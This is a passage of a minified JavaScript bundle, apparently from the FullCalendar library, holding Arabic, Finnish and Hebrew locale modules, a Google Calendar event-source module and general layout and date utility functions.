e},week:{dow:1,doy:4}})}(n(0))}}))},CumE:function(e,t,n){var r,o,i;o=[n("EVdn"),n("Qwlt")],void 0===(i="function"==typeof(r=function(e){return e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo((function(t){return function(n){return!!e.data(n,t)}})):function(t,n,r){return!!e.data(t,r[3])}})})?r.apply(t,o):r)||(e.exports=i)},EO3r:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=85)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},85:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(86);var r=n(1);r.datepickerLocale("ar","ar",{closeText:"إغلاق",prevText:"&#x3C;السابق",nextText:"التالي&#x3E;",currentText:"اليوم",monthNames:["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"],monthNamesShort:["1","2","3","4","5","6","7","8","9","10","11","12"],dayNames:["الأحد","الاثنين","الثلاثاء","الأربعاء","الخميس","الجمعة","السبت"],dayNamesShort:["أحد","اثنين","ثلاثاء","أربعاء","خميس","جمعة","سبت"],dayNamesMin:["ح","ن","ث","ر","خ","ج","س"],weekHeader:"أسبوع",dateFormat:"dd/mm/yy",firstDay:0,isRTL:!0,showMonthAfterYear:!1,yearSuffix:""}),r.locale("ar",{buttonText:{month:"شهر",week:"أسبوع",day:"يوم",list:"أجندة"},allDayText:"اليوم كله",eventLimitText:"أخرى",noEventsMessage:"أي أحداث لعرض"})},86:function(e,t,n){!function(e){var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},r=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},o={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},i=function(e){return function(t,n,i,s){var a=r(t),l=o[e][r(t)];return 2===a&&(l=l[n?0:1]),l.replace(/%d/i,t)}},s=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar",{months:s,monthsShort:s,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:i("s"),ss:i("s"),m:i("m"),mm:i("m"),h:i("h"),hh:i("h"),d:i("d"),dd:i("d"),M:i("M"),MM:i("M"),y:i("y"),yy:i("y")},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(0))}}))},Gltf:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("Io7t"),o=n("EVdn"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=270)}({1:function(e,t){e.exports=r},2:function(e,t){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};t.__extends=function(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}},270:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(1),o=n(271);r.EventSourceParser.registerClass(o.default),r.GcalEventSource=o.default},271:function(e,t,n){function r(e){var t;return/^[^\/]+@([^\/\.]+\.)*(google|googlemail|gmail)\.com$/.test(e)?e:(t=/^https:\/\/www.googleapis.com\/calendar\/v3\/calendars\/([^\/]*)/.exec(e))||(t=/^https?:\/\/www.google.com\/calendar\/feeds\/([^\/]*)/.exec(e))?decodeURIComponent(t[1]):void 0}Object.defineProperty(t,"__esModule",{value:!0});var o=n(2),i=n(3),s=n(1),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.parse=function(e,t){var n;return"object"==typeof e?n=e:"string"==typeof e&&(n={url:e}),!!n&&s.EventSource.parse.call(this,n,t)},t.prototype.fetch=function(e,t,n){var r=this,o=this.buildUrl(),a=this.buildRequestParams(e,t,n),l=this.ajaxSettings||{},u=l.success;return a?(this.calendar.pushLoading(),s.Promise.construct((function(e,t){i.ajax(i.extend({},s.JsonFeedEventSource.AJAX_DEFAULTS,l,{url:o,data:a,success:function(n,o,l){var d,c;r.calendar.popLoading(),n.error?(r.reportError("Google Calendar API: "+n.error.message,n.error.errors),t()):n.items&&(d=r.gcalItemsToRawEventDefs(n.items,a.timeZone),c=s.applyAll(u,r,[n,o,l]),i.isArray(c)&&(d=c),e(r.parseEventDefs(d)))},error:function(e,n,o){r.reportError("Google Calendar network failure: "+n,[e,o]),r.calendar.popLoading(),t()}}))}))):s.Promise.reject()},t.prototype.gcalItemsToRawEventDefs=function(e,t){var n=this;return e.map((function(e){return n.gcalItemToRawEventDef(e,t)}))},t.prototype.gcalItemToRawEventDef=function(e,t){var n=e.htmlLink||null;n&&t&&(n=function(e,t){return e.replace(/(\?.*?)?(#|$)/,(function(e,n,r){return(n?n+"&":"?")+t+r}))}(n,"ctz="+t));var r={};return"object"==typeof e.extendedProperties&&"object"==typeof e.extendedProperties.shared&&(r=e.extendedProperties.shared),{id:e.id,title:e.summary,start:e.start.dateTime||e.start.date,end:e.end.dateTime||e.end.date,url:n,location:e.location,description:e.description,extendedProperties:r}},t.prototype.buildUrl=function(){return t.API_BASE+"/"+encodeURIComponent(this.googleCalendarId)+"/events?callback=?"},t.prototype.buildRequestParams=function(e,t,n){var r,o=this.googleCalendarApiKey||this.calendar.opt("googleCalendarApiKey");return o?(e.hasZone()||(e=e.clone().utc().add(-1,"day")),t.hasZone()||(t=t.clone().utc().add(1,"day")),r=i.extend(this.ajaxSettings.data||{},{key:o,timeMin:e.format(),timeMax:t.format(),singleEvents:!0,maxResults:9999}),n&&"local"!==n&&(r.timeZone=n.replace(" ","_")),r):(this.reportError("Specify a googleCalendarApiKey. See http://fullcalendar.io/docs/google_calendar/"),null)},t.prototype.reportError=function(e,t){var n=this.calendar,r=n.opt("googleCalendarError"),o=t||[{message:e}];this.googleCalendarError&&this.googleCalendarError.apply(n,o),r&&r.apply(n,o),s.warn.apply(null,[e].concat(t||[]))},t.prototype.getPrimitive=function(){return this.googleCalendarId},t.prototype.applyManualStandardProps=function(e){var t=s.EventSource.prototype.applyManualStandardProps.apply(this,arguments),n=e.googleCalendarId;return null==n&&e.url&&(n=r(e.url)),null!=n&&(this.googleCalendarId=n,t)},t.prototype.applyMiscProps=function(e){this.ajaxSettings||(this.ajaxSettings={}),i.extend(this.ajaxSettings,e)},t.API_BASE="https://www.googleapis.com/calendar/v3/calendars",t}(s.EventSource);t.default=a,a.defineStandardProps({url:!1,googleCalendarId:!1,googleCalendarApiKey:!0,googleCalendarError:!0})},3:function(e,t){e.exports=o}}))},GxZh:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=129)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},129:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(130);var r=n(1);r.datepickerLocale("fi","fi",{closeText:"Sulje",prevText:"&#xAB;Edellinen",nextText:"Seuraava&#xBB;",currentText:"Tänään",monthNames:["Tammikuu","Helmikuu","Maaliskuu","Huhtikuu","Toukokuu","Kesäkuu","Heinäkuu","Elokuu","Syyskuu","Lokakuu","Marraskuu","Joulukuu"],monthNamesShort:["Tammi","Helmi","Maalis","Huhti","Touko","Kesä","Heinä","Elo","Syys","Loka","Marras","Joulu"],dayNamesShort:["Su","Ma","Ti","Ke","To","Pe","La"],dayNames:["Sunnuntai","Maanantai","Tiistai","Keskiviikko","Torstai","Perjantai","Lauantai"],dayNamesMin:["Su","Ma","Ti","Ke","To","Pe","La"],weekHeader:"Vk",dateFormat:"d.m.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("fi",{buttonText:{month:"Kuukausi",week:"Viikko",day:"Päivä",list:"Tapahtumat"},allDayText:"Koko päivä",eventLimitText:"lisää",noEventsMessage:"Ei näytettäviä tapahtumia"})},130:function(e,t,n){!function(e){function t(e,t,r,o){var i="";switch(r){case"s":return o?"muutaman sekunnin":"muutama sekunti";case"ss":return o?"sekunnin":"sekuntia";case"m":return o?"minuutin":"minuutti";case"mm":i=o?"minuutin":"minuuttia";break;case"h":return o?"tunnin":"tunti";case"hh":i=o?"tunnin":"tuntia";break;case"d":return o?"päivän":"päivä";case"dd":i=o?"päivän":"päivää";break;case"M":return o?"kuukauden":"kuukausi";case"MM":i=o?"kuukauden":"kuukautta";break;case"y":return o?"vuoden":"vuosi";case"yy":i=o?"vuoden":"vuotta"}return n(e,o)+" "+i}function n(e,t){return e<10?t?o[e]:r[e]:e}var r="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),o=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",r[7],r[8],r[9]];e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(0))}}))},IKCy:function(e,t,n){var r,o;"undefined"!=typeof self&&self,e.exports=(r=n("wd/R"),o=n("Io7t"),function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=139)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=o},139:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(140);var r=n(1);r.datepickerLocale("he","he",{closeText:"סגור",prevText:"&#x3C;הקודם",nextText:"הבא&#x3E;",currentText:"היום",monthNames:["ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],monthNamesShort:["ינו","פבר","מרץ","אפר","מאי","יוני","יולי","אוג","ספט","אוק","נוב","דצמ"],dayNames:["ראשון","שני","שלישי","רביעי","חמישי","שישי","שבת"],dayNamesShort:["א'","ב'","ג'","ד'","ה'","ו'","שבת"],dayNamesMin:["א'","ב'","ג'","ד'","ה'","ו'","שבת"],weekHeader:"Wk",dateFormat:"dd/mm/yy",firstDay:0,isRTL:!0,showMonthAfterYear:!1,yearSuffix:""}),r.locale("he",{buttonText:{month:"חודש",week:"שבוע",day:"יום",list:"סדר יום"},allDayText:"כל היום",eventLimitText:"אחר",noEventsMessage:"אין אירועים להצגה",weekNumberTitle:"שבוע"})},140:function(e,t,n){!function(e){e.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(e){return 2===e?"שעתיים":e+" שעות"},d:"יום",dd:function(e){return 2===e?"יומיים":e+" ימים"},M:"חודש",MM:function(e){return 2===e?"חודשיים":e+" חודשים"},y:"שנה",yy:function(e){return 2===e?"שנתיים":e%10==0&&10!==e?e+" שנה":e+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(e){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(e)},meridiem:function(e,t,n){return e<5?"לפנות בוקר":e<10?"בבוקר":e<12?n?'לפנה"צ':"לפני הצהריים":e<18?n?'אחה"צ':"אחרי הצהריים":"בערב"}})}(n(0))}}))},Io7t:function(e,t,n){var r;"undefined"!=typeof self&&self,r=function(e,t){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=256)}([function(t,n){t.exports=e},,function(e,t){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};t.__extends=function(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}},function(e,n){e.exports=t},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(3);function i(e){e.height("")}function s(e){var t,n=e[0].offsetWidth-e[0].clientWidth,r=e[0].offsetHeight-e[0].clientHeight;return n=a(n),t={left:0,right:0,top:0,bottom:r=a(r)},null===l&&(l=function(){var e=o("<div><div></div></div>").css({position:"absolute",top:-1e3,left:0,border:0,padding:0,overflow:"scroll",direction:"rtl"}).appendTo("body"),t=e.children().offset().left>e.offset().left;return e.remove(),t}()),l&&"rtl"===e.css("direction")?t.left=n:t.right=n,t}function a(e){return e=Math.max(0,e),e=Math.round(e)}t.compensateScroll=function(e,t){t.left&&e.css({"border-left-width":1,"margin-left":t.left-1}),t.right&&e.css({"border-right-width":1,"margin-right":t.right-1})},t.uncompensateScroll=function(e){e.css({"margin-left":"","margin-right":"","border-left-width":"","border-right-width":""})},t.disableCursor=function(){o("body").addClass("fc-not-allowed")},t.enableCursor=function(){o("body").removeClass("fc-not-allowed")},t.distributeHeight=function(e,t,n){var r=Math.floor(t/e.length),s=Math.floor(t-r*(e.length-1)),a=[],l=[],u=[],d=0;i(e),e.each((function(t,n){var i=t===e.length-1?s:r,c=o(n).outerHeight(!0);c<i?(a.push(n),l.push(c),u.push(o(n).height())):d+=c})),n&&(t-=d,r=Math.floor(t/a.length),s=Math.floor(t-r*(a.length-1))),o(a).each((function(e,t){var n=e===a.length-1?s:r,i=l[e],d=n-(i-u[e]);i<n&&o(t).height(d)}))},t.undistributeHeight=i,t.matchCellWidths=function(e){var t=0;return e.find("> *").each((function(e,n){var r=o(n).outerWidth();r>t&&(t=r)})),t++,e.width(t),t},t.subtractInnerElHeight=function(e,t){var n,r=e.add(t);return r.css({position:"relative",left:-1}),n=e.outerHeight()-t.outerHeight(),r.css({position:"",left:""}),n},t.getScrollParent=function(e){var t=e.css("position"),n=e.parents().filter((function(){var e=o(this);return/(auto|scroll)/.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))})).eq(0);return"fixed"!==t&&n.length?n:o(e[0].ownerDocument||document)},t.getOuterRect=function(e,t){var n=e.offset(),r=n.left-(t?t.left:0),o=n.top-(t?t.top:0);return{left:r,right:r+e.outerWidth(),top:o,bottom:o+e.outerHeight()}},t.getClientRect=function(e,t){var n=e.offset(),r=s(e),o=n.left+u(e,"border-left-width")+r.left-(t?t.left:0),i=n.top+u(e,"border-top-width")+r.top-(t?t.top:0);return{left:o,right:o+e[0].clientWidth,top:i,bottom:i+e[0].clientHeight}},t.getContentRect=function(e,t){var n=e.offset(),r=n.left+u(e,"border-left-width")+u(e,"padding-left")-(t?t.left:0),o=n.top+u(e,"border-top-width")+u(e,"padding-top")-(t?t.top:0);return{left:r,right:r+e.width(),top:o,bottom:o+e.height()}},t.getScrollbarWidths=s;var l=null;function u(e,t){return parseFloat(e.css(t))||0}function d(e){e.preventDefault()}function c(e,t,n,r,o){if(n.func)return n.func(e,t);var i=e[n.field],s=t[n.field];return null==i&&r&&(i=r[n.field]),null==s&&o&&(s=o[n.field]),p(i,s)*(n.order||1)}function p(e,t){return e||t?null==t?-1:null==e?1:"string"===o.type(e)||"string"===o.type(t)?String(e).localeCompare(String(t)):e-t:0}function h(e,n){var r,o,i;for(r=0;r<t.unitsDesc.length&&!((i=f(o=t.unitsDesc[r],e,n))>=1&&b(i));r++);return o}function f(e,t,n){return null!=n?n.diff(t,e,!0):r.isDuration(t)?t.as(e):t.end.diff(t.start,e,!0)}function m(e){return Boolean(e.hours()||e.minutes()||e.seconds()||e.milliseconds())}function g(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=window.console;if(n&&n.log)return n.log.apply(n,e)}t.isPrimaryMouseButton=function(e){return 1===e.which&&!e.ctrlKey},t.getEvX=function(e){var t=e.originalEvent.touches;return t&&t.length?t[0].pageX:e.pageX},t.getEvY=function(e){var t=e.originalEvent.touches;return t&&t.length?t[0].pageY:e.pageY},t.getEvIsTouch=function(e){return/^touch/.test(e.type)},t.preventSelection=function(e){e.addClass("fc-unselectable").on("selectstart",d)},t.allowSelection=function(e){e.removeClass("fc-unselectable").off("selectstart",d)},t.preventDefault=d,t.intersectRects=function(e,t){var n={left:Math.max(e.left,t.left),right:Math.min(e.right,t.right),top:Math.max(e.top,t.top),bottom:Math.min(e.bottom,t.bottom)};return n.left<n.right&&n.top<n.bottom&&n},t.constrainPoint=function(e,t){return{left:Math.min(Math.max(e.left,t.left),t.right),top:Math.min(Math.max(e.top,t.top),t.bottom)}},t.getRectCenter=function(e){return{left:(e.left+e.right)/2,top:(e.top+e.bottom)/2}},t.diffPoints=function(e,t){return{left:e.left-t.left,top:e.top-t.top}},t.parseFieldSpecs=function(e){var t,n,r=[],i=[];for("string"==typeof e?i=e.split(/\s*,\s*/):"function"==typeof e?i=[e]:o.isArray(e)&&(i=e),t=0;t<i.length;t++)"string"==typeof(n=i[t])?r.push("-"===n.charAt(0)?{field:n.substring(1),order:-1}:{field:n,order:1}):"function"==typeof n&&r.push({func:n});return r},t.compareByFieldSpecs=function(e,t,n,r,o){var i,s;for(i=0;i<n.length;i++)if(s=c(e,t,n[i],r,o))return s;return 0},t.compareByFieldSpec=c,t.flexibleCompare=p,t.dayIDs=["sun","mon","tue","wed","thu","fri","sat"],t.unitsDesc=["year","month","week","day","hour","minute","second","millisecond"],t.diffDayTime=function(e,t){return r.duration({days:e.clone().stripTime().diff(t.clone().stripTime(),"days"),ms:e.time()-t.time()})},t.diffDay=function(e,t){return r.duration({days:e.clone().stripTime().diff(t.clone().stripTime(),"days")})},t.diffByUnit=function(e,t,n){return r.duration(Math.round(e.diff(t,n,!0)),n)},t.computeGreatestUnit=h,t.computeDurationGreatestUnit=function(e,t){var n=h(e);return"week"===n&&"object"==typeof t&&t.days&&(n="day"),n},t.divideRangeByDuration=function(e,t,n){var r;return m(n)?(t-e)/n:(r=n.asMonths(),Math.abs(r)>=1&&b(r)?t.diff(e,"months",!0)/r:t.diff(e,"days",!0)/n.asDays())},t.divideDurationByDuration=function(e,t){var n,r;return m(e)||m(t)?e/t:(n=e.asMonths(),r=t.asMonths(),Math.abs(n)>=1&&b(n)&&Math.abs(r)>=1&&b(r)?n/r:e.asDays()/t.asDays())},t.multiplyDuration=function(e,t){var n;return m(e)?r.duration(e*t):(n=e.asMonths(),Math.abs(n)>=1&&b(n)?r.duration({months:n*t}):r.duration({days:e.asDays()*t}))},t.durationHasTime=m,t.isNativeDate=function(e){return"[object Date]"===Object.prototype.toString.call(e)||e instanceof Date},t.isTimeString=function(e){return"string"==typeof e&&/^\d+\:\d+(?:\:\d+\.?(?:\d{3})?)?$/.test(e)},t.log=g,t.warn=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=window.console;return n&&n.warn?n.warn.apply(n,e):g.apply(null,e)};var y={}.hasOwnProperty;function v(e,t){return y.call(e,t)}function _(e){return(e+"").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/'/g,"&#039;").replace(/"/g,"&quot;").replace(/\n/g,"<br>")}function b(e){return e%1==0}t.mergeProps=function e(t,n){var r,o,i,s,a,l,u={};if(n)for(r=0;r<n.length;r++){for(o=n[r],i=[],s=t.length-1;s>=0;s--)if("object"==typeof(a=t[s][o]))i.unshift(a);else if(void 0!==a){u[o]=a;break}i.length&&(u[o]=e(i))}for(r=t.length-1;r>=0;r--)for(o in l=t[r])o in u||(u[o]=l[o]);return u},t.copyOwnProps=function(e,t){for(var n in e)v(e,n)&&(t[n]=e[n])},t.hasOwnProp=v,t.applyAll=function(e,t,n){if(o.isFunction(e)&&(e=[e]),e){var r=void 0,i=void 0;for(r=0;r<e.length;r++)i=e[r].apply(t,n)||i;return i}},t.removeMatching=function(e,t){for(var n=0,r=0;r<e.length;)t(e[r])?(e.splice(r,1),n++):r++;return n},t.removeExact=function(e,t){for(var n=0,r=0;r<e.length;)e[r]===t?(e.splice(r,1),n++):r++;return n},t.isArraysEqual=function(e,t){var n,r=e.length;if(null==r||r!==t.length)return!1;for(n=0;n<r;n++)if(e[n]!==t[n])return!1;return!0},t.firstDefined=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=0;n<e.length;n++)if(void 0!==e[n])return e[n]},t.htmlEscape=_,t.stripHtmlEntities=function(e){return e.replace(/&.*?;/g,"")},t.cssToStr=function(e){var t=[];return o.each(e,(function(e,n){null!=n&&t.push(e+":"+n)})),t.join(";")},t.attrsToStr=function(e){var t=[];return o.each(e,(function(e,n){null!=n&&t.push(e+'="'+_(n)+'"')})),t.join(" ")},t.capitaliseFirstLetter=function(e){return e.charAt(0).toUpperCase()+e.slice(1)},t.compareNumbers=function(e,t){return e-t},t.isInt=b,t.proxy=function(e,t){var n=e[t];return function(){return n.apply(e,arguments)}},t.debounce=function(e,t,n){var r,o,i,s,a;void 0===n&&(n=!1);var l=function(){var u=+new Date-s;u<t?r=setTimeout(l,t-u):(r=null,n||(a=e.apply(i,o),i=o=null))};return function(){i=this,o=arguments,s=+new Date;var u=n&&!r;return r||(r=setTimeout(l,t)),u&&(a=e.apply(i,o),i=o=null),a}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(11),i=function(){function e(e,t){this.isStart=!0,this.isEnd=!0,r.isMoment(e)&&(e=e.clone().stripZone()),r.isMoment(t)&&(t=t.clone().stripZone()),e&&(this.startMs=e.valueOf()),t&&(this.endMs=t.valueOf())}return e.invertRanges=function(t,n){var r,o,i=[],a=n.startMs;for(t.sort(s),r=0;r<t.length;r++)(o=t[r]).startMs>a&&i.push(new e(a,o.startMs)),o.endMs>a&&(a=o.endMs);return a<n.endMs&&i.push(new e(a,n.endMs)),i},e.prototype.intersect=function(t){var n=this.startMs,r=this.endMs,o=null;return null!=t.startMs&&(n=null==n?t.startMs:Math.max(n,t.startMs)),null!=t.endMs&&(r=null==r?t.endMs:Math.min(r,t.endMs)),(null==n||null==r||n<r)&&((o=new e(n,r)).isStart=this.isStart&&n===this.startMs,o.isEnd=this.isEnd&&r===this.endMs),o},e.prototype.intersectsWith=function(e){return(null==this.endMs||null==e.startMs||this.endMs>e.startMs)&&(null==this.startMs||null==e.endMs||this.startMs<e.endMs)},e.prototype.containsRange=function(e){return(null==this.startMs||null!=e.startMs&&e.startMs>=this.startMs)&&(null==this.endMs||null!=e.endMs&&e.endMs<=this.endMs)},e.prototype.containsDate=function(e){var t=e.valueOf();return(null==this.startMs||t>=this.startMs)&&(null==this.endMs||t<this.endMs)},e.prototype.constrainDate=function(e){var t=e.valueOf();return null!=this.startMs&&t<this.startMs&&(t=this.startMs),null!=this.endMs&&t>=this.endMs&&(t=this.endMs-1),t},e.prototype.equals=function(e){return this.startMs===e.startMs&&this.endMs===e.endMs},e.prototype.clone=function(){var t=new e(this.startMs,this.endMs);return t.isStart=this.isStart,t.isEnd=this.isEnd,t},e.prototype.getStart=function(){return null!=this.startMs?o.default.utc(this.startMs).stripZone():null},e.prototype.getEnd=function(){return null!=this.endMs?o.default.utc(this.endMs).stripZone():null},e.prototype.as=function(e){return r.utc(this.endMs).diff(r.utc(this.startMs),e,!0)},e}();function s(e,t){return e.startMs-t.startMs}t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(52),s=n(35),a=n(36),l=function(e){function t(n){var r=e.call(this)||this;return r.calendar=n,r.className=[],r.uid=String(t.uuid++),r}return r.__extends(t,e),t.parse=function(e,t){var n=new this(t);return!("object"!=typeof e||!n.applyProps(e))&&n},t.normalizeId=function(e){return 